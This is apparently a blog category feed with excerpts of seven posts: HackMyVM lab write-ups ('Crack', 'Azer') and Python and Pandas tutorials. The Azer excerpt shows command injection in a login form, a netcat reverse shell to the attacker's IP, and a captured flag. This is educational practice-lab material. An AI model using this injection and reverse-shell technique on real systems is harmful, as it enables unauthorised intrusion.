XiaoYuEgA's Blog - 默认分类
type: channel
link: https://xiaoyuega.top/category/default/
description: 只是一个默认分类
items: HMV-Crack
items: HMV-Azer
items: Matplotlib,Seaborn 往死了学
items: ZeroTier 虚拟局域网
items: Pandas 各等级评论 进行情感分析
items: Python 微信自动发送消息文件
items: Pandas 小教程

HMV-Crack
type: item
date: 2025-05-05T00:50:00+08:00
description: HackMyVM Crack信息收集┌──(kali㉿kali)-[~] └─$ nmap -p0-65535 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:08 EDT Nmap scan report for 192.168.100.55 Host is up (0.00038s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 4200/tcp open vrml-multi-use 12359/tcp open unknown MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds详细扫一下┌──(kali㉿kali)-[~] └─$ nmap -p21,4200,12359 -sC -sV 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:12 EDT Nmap scan report for 192.168.100.55 Host is up (0.00049s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.100.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Jun 07 2023 upload [NSE: writeable] 4200/tcp open ssl/http ShellInABox |_http-title: Shell In A Box |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=crack | Not valid before: 2023-06-07T10:20:13 |_Not valid after: 2043-06-02T10:20:13 12359/tcp open unknown | fingerprint-strings: | GenericLines: | File to read:NOFile to read: | NULL: |_ File to read: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port12359-TCP:V=7.95%I=7%D=5/4%Time=681783E9%P=x86_64-pc-linux-gnu%r(NU SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil SF:e\x20to\x20read:"); MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Unix Service de…

HMV-Azer
type: item
date: 2025-05-04T22:33:00+08:00
description: HackMyVM Azer信息收集$ nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 06:19 EDT Nmap scan report for 192.168.100.54 Host is up (0.00071s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:D6:92:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.00 secondsimage-2025050118210276280 是一个网页 未发现明显线索3000 端口是一个登录页面image-20250501182216467随便试了一下弱口令后返回image-20250501183040641好像会使用我输入的账密 执行脚本验证 所以我们进行命令注入尝试使用 | id 发现没有回显| sleep 5成功睡眠了GetShell那么我们直接开始反弹 Shell使用 nc -c bash 192.168.100.100 9001 命令反弹 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [192.168.100.100] from (UNKNOWN) [192.168.100.54] 59874 id uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)获取User Flagazer@azer:~$ ls -al total 64 drwx------ 5 azer azer 4096 Feb 21 2024 . drwxr-xr-x 3 root root 4096 Feb 21 2024 .. -rwxr-xr-x 1 azer azer 72 Feb 21 2024 get.sh drwxr-xr-x 66 azer azer 4096 Feb 21 2024 node_modules drwxr-xr-x 4 azer azer 4096 Feb 21 2024 .npm -rw-r--r-- 1 azer azer 53 Feb 21 2024 package.json -rw-r--r-- 1 azer azer 25336 Feb 21 2024 package-lock.json -rw-r--r-- 1 azer azer 1950 Feb 21 2024 server.js drwxr-xr-x 2 azer azer 4096 Feb 21 2024 .ssh -rw------- 1 azer azer 33 Feb 21 2024 user.txt azer@azer:~$ cat user.txt 0d2856d69dc348b3af80a0eed67c7502在家目录中获得了 user flagRoot提权azer@azer:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:d6:92:0b brd ff:ff:ff:ff:ff:ff inet 192.168.100.54/24 brd 192.168.100.255 scope global dynamic enp0s3 valid_lft 5317sec…

Matplotlib,Seaborn 往死了学
type: item
date: 2024-04-17T18:17:00+08:00
description: Matplotlib plt.gca() 参数基本要素在开始画图之前我们先看一下matplotlib画图的基本要素，我们结合官方给出的两张图来看我们对上面两张图分别解释 Matplotlib 中的一些概念Figure: 可以理解为画布，在画图之前首先必须先创建一个画布，然后再在这个画布上画图，在一个画布上可以画多个图Axes: 可以理解为画布上的一个图，通过 subplot 在画布上可以画多个图，一个图对应一个 AxesAxis: 坐标轴title: 该图对应的标题xy label: 水平轴和垂直轴代表的意义Grid: 右图中的虚线网格，可显示也可不显示Legend: 图例，标识不同图形Markers: 表示点的形状如果你去翻过 Matplotlib 的一些函数源文件 你就可以发现 (这里以plt.title()为例):image-20240415143841026使用plt的函数都是返回给gca().什么什么的plt.gca()是用来获取当前坐标轴对象的 是"Get Current Axes"的缩, Axes是图形对象（Figure）中的一个重要组成部分，用于绘制和管理图形的各个元素，如曲线、散点图、文本、坐标轴等。gca()函数都可以指定Axes对象进行设置 不指定就是当前子图可以使用plt.subplots函数来创建Figure和Axes, 并将其对应对象返回, 它是绘图的最顶层容器。可以使用该对象进行图形的设置和操作，例如设置图形的大小、标题等image-20240415151128321Axes.patches这是一个不是很好讲的东西 image-20240415153608497Axes.patches 可以返回这个坐标轴中的图形的图形 这里画的是柱状图有四个柱子所以他返回了 Rectangle 就是矩形image-20240415153724870image-20240415153923801获取到的数据有很多的位置 高宽 可以get出来用来画图Axes.add_patch(plt.Rectangle()) 可以自定义添加矩形image-20240415163922504aplines可以对图上的轴线进行设置image-20240416155258209代码提示问题当你在使用PyCharm时代码提示不工作的时候,PyCharm 无法自动判断函数返回值的类型 , 可以这样做image-20240417084756043可以看到axes设置没有代码提示这让人很想杀人解决方法就是给ax加上类型注解 (需要注意的是如果函数返回的是元组,不能设置类型注解 会提示 变量注解不能与元组解包相结合)image-20240417090003770image-20240417085452320代码提示就成功的有了 非常方便

ZeroTier 虚拟局域网
type: item
date: 2023-11-14T12:50:11+08:00
description: ZeroTier 虚拟局域网人在外网如同局域网一样访问ZeroTier 是一款强大的内网穿透软件 并且是免费的 通过网页后台创建虚拟网络并进行管理并通过电脑上的Zerotier客户端连接各个异地电脑到虚拟局域网，从而实现组网由后台分配虚拟ip，并且各个异地电脑可以通过虚拟IP对同一虚拟局域网下的其他电脑进行访问很适合没有公网ip没有ipv6的用户或者 你想远程组建虚拟局域网注册 配置 ZeroTier注册ZeroTier 账号官网: ZeroTier | Global Area Networking官网如果进不去的话 需要科学上网一下注册完成后 点击NetWorks点击Create A Network20231110200214配置 ZeroTier创建好后点击你刚刚创建的网络20231110201008可以将里面的 Name 改成你想要的名字Access Control 图中的PRIVATE表示你创建的网络是私人的，需要通过管理员(就是你，独一无二的你，创建网络的你)同意之后才能加入，PUBLIC为任何人都可以加入，不要选。Network ID 是你待会需要加入网络用的20231110201852上图位置可以设置 自动获取虚拟ip的网段和范围 Advanced里可以自定义网段范围0b8fe835d024d1d77588a7cf6dbf6a40往下滑可以找到 设备列表 每个添加进来的 设备左边的Auth都需要打上勾 才可以被分配虚拟ipZeroTier使用分为 基础使用 和 进阶使用基础使用 ZeroTierWindows 端下载 Windows 客户端 Download (zerotier.com)安装好后 软件没有UI打开后在后台右键d3adcb860fe91511c55ca5a221589d57点击Join New Network在弹出的窗口中输入刚刚的16位 Network ID加入完成后 在网页端打上勾就可以看到本机已经被 分配虚拟ip 了安卓端同理, 下载软件添加即可进阶使用下次再写

Pandas 各等级评论 进行情感分析
type: item
date: 2023-11-02T11:12:00+08:00
description: Pandas 数据处理 情感分析评论使用库Pandas SnowNLP matplotlib需求:​ 使用pandas 进行数据处理 将评论者等级和评论内容进行提取​ 将评论6级到0级的数据分别进行分组 对评论进行情感分析 写入新表 分别查看每个等级正负评论比例开发环境使用 Jupyter Notebook Pandas == 1.5.3 matplotlib == 3.7.1 SnowNLP == 0.12.3数据处理1.png源数据结构import pandas as pd df = pd.read_excel("CommentData.xlsx") # 读取源数据 df1 = df"评论作者 UID","评论作者等级", "评论内容" # 抽取评论作者 UID,评论作者等级,评论内容 sixLevelComment = df1.loc[(df1["评论作者等级"] == 6)] #把0-6级的评论拆分成各个表 fiveLevelComment = df1.loc[(df1["评论作者等级"] == 5)] fourLevelComment = df1.loc[(df1["评论作者等级"] == 4)] threeLevelComment = df1.loc[(df1["评论作者等级"] == 3)] twoLevelComment = df1.loc[(df1["评论作者等级"] == 2)] zeroLevelComment = df1.loc[(df1["评论作者等级"] == 0)]from snownlp import SnowNLP # 导入用于情感分析的库 def commentsEmotion(comments): CommentEmotion = [] for comment in comments["评论内容"]: s = SnowNLP(comment) sc = s.sentiments if sc >= 0.6: CommentEmotion.append("正向") elif sc > 0.2: CommentEmotion.append("中性") elif sc <= 0.2: CommentEmotion.append("负向") return CommentEmotion sixLevelComment.loc[:,"评论情感分析"] = commentsEmotion(sixLevelComment) fiveLevelComment.loc[:,"评论情感分析"] = commentsEmotion(fiveLevelComment) fourLevelComment.loc[:,"评论情感分析"] = commentsEmotion(fourLevelComment) threeLevelComment.loc[:,"评论情感分析"] = commentsEmotion(threeLevelComment) twoLevelComment.loc[:,"评论情感分析"] = commentsEmotion(twoLevelComment) zeroLevelComment.loc[:,"评论情感分析"] = commentsEmotion(zeroLevelComment) sixLevelComment.to_csv("CommentEmotion/sixLevelComment.csv") fiveLevelComment.to_csv("CommentEmotion/fiveLevelComment.csv") fourLevelComment.to_csv("CommentEmotion/fourLevelComment.csv") threeLevelComment.to_csv("CommentEmotion/threeLevelComment.csv") twoLevelComment.to_csv("CommentEmotion/twoLevelComment.csv") zeroLevelComment.to_csv("CommentEmotion/zeroLevelComment.csv") 这边定义一个函数 用来做每个等级的评论情感分析然后 loc方法把它他到每个等级表的最后保存到CommentEmotion 的文件夹中数据可视化处理好的数据存到csv中 现在来可视化使用pandas 导入保存在文件夹中的数据 统计数量import pandas as pd sixLevelDf = pd.read_csv("CommentEmotion/sixLevelComment.csv")["评论情感分析"].value_counts() fiveLevelDf…

Python 微信自动发送消息文件
type: item
date: 2023-10-27T12:38:11+08:00
description: Python 微信自动发送消息文件用wxauto 库 github原作者地址原作者太久没有更新 微信更新已经无法使用了先下载这个库pip install wxauto然后要去修改一下源文件 python目录\Lib\site-packages\wxauto把里面wxauto.py进行替换 wxauto.pyfrom wxauto import * import os wx = WeChat() wx.GetSessionList() def send_file(user, file): try: wx.ChatWith(user) wx.SendFiles(file) print("发送完毕") except Exception as e: print("发送失败", e) if __name__ == '__main__': user = "文件传输助手" filepath = 'C:\\Users\\XiaoYuEgA\\Desktop\\zp\\' file_names = os.listdir(filepath) for file_name in file_names: file = filepath + file_name send_file(user, file)这里举例了自动发送文件夹里的图片user变量中是要发送的微信好友名filepath文件夹路径使用os.listdir方法 获取文件夹里的所有文件名然后遍历发送

Pandas 小教程
type: item
date: 2023-10-25T10:57:00+08:00
description: Pandas真的是非常的难啊强大的数据处理和分析工具pandas1.png一、Pandas课程介绍Pandas 是基于NumPy的一种工具，该工具是为解决数据分析任务而创建的, Pandas提供了大量能使我们快速便捷地处理数据的函数和方法。Pandas与出色的 Jupyter工具包和其他库相结合，Python中用于进行数据分析的环境在性能、生产率和协作能力方面都是卓越的。Pandas的主要数据结构是 Series(一维数据)与 DataFrame (二维数据)，这两种数据结构足以处理金融、统计、社会科学、工程等领域里的大多数案例处理数据一般分为几个阶段：数据整理与清洗、数据分析与建模、数据可视化，Pandas 是处理数据的理想工具。二、Pandas安装Anaconda环境: 无需安装普通Python环境: pip install pandas -i https://pypi.tuna.tsinghua.edu.cn/simple三、Pandas数据结构SeriesSeries是一种类似于一维数组的对象，由下面两个部分组成：values：一组数据（ndarray类型）index：相关的数据索引标签1）Series的创建两种创建方式：(1) 由列表或NumPy数组创建list1 = [11, 22, 33, 44] n = np.array(list1) # type(n) # numpy.ndarray s = Series(n) display(n, s, type(s)) # pandas.core.series.SeriesSeries属性: index和values# values属性 s.values # array([11, 22, 33, 44]) s.index # RangeIndex(start=0, stop=4, step=1) list(s.index) # 修改索引 s.index = list("abcd") s.index = ["鲁班", "李白", "诸葛亮", "张飞"] display(s) # 通过索引取值 s.鲁班, s['鲁班'] # 通过索引修改值 s['鲁班'] = 100(2) 还可以通过字典创建d = { 'a': 11, 'b': 22, 'c': 33, 'd': 44 } s = Series(d) s.index = list("ABCD") display(s) d = { 'a': np.random.randint(0, 10, size=(2,3)), 'b': np.random.randint(0, 10, size=(2,3)), 'c': np.random.randint(0, 10, size=(2,3)), 'd': np.random.randint(0, 10, size=(2,3)) } s = Series(d) display(s) # 创建时同时设置索引 s = Series([1,2,3], index=["张三", '李四', '王五']) display(s)2）Series的索引可以使用中括号取单个索引（此时返回的是元素类型），或者中括号里一个列表取多个索引（此时返回的仍然是一个Series类型）。分为显示索引和隐式索引：(1) 显式索引：使用index中的元素作为索引值使用.loc[]注意，此时是闭区间s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99}) # 显式索引：使用索引名字 s['语文'] # int类型 s'语文', "Python", "数学" # Series类型 s'语文' # Series类型 # .loc[ ] s.loc['语文'] s.loc'语文', "Python", "数学" s.loc'语文'(2) 隐式索引：使用整数作为索引值使用.iloc[]（推荐）注意，此时是半开区间s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99}) # 隐式索引： 使用数字下标 s[0] s[[0, 2, 1]] s[[0]] # iloc[ ] s.iloc[0] s.iloc[[0, 2, 1]] s.iloc[[0]]3）Series的切片Series一维数组切片s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99, "Numpy": 66, "Pandas": 199}) # Series是一维数组 # 隐式切片 : 左闭右开 s[1: 4] s.iloc[1: 4] # 显式切片： 闭…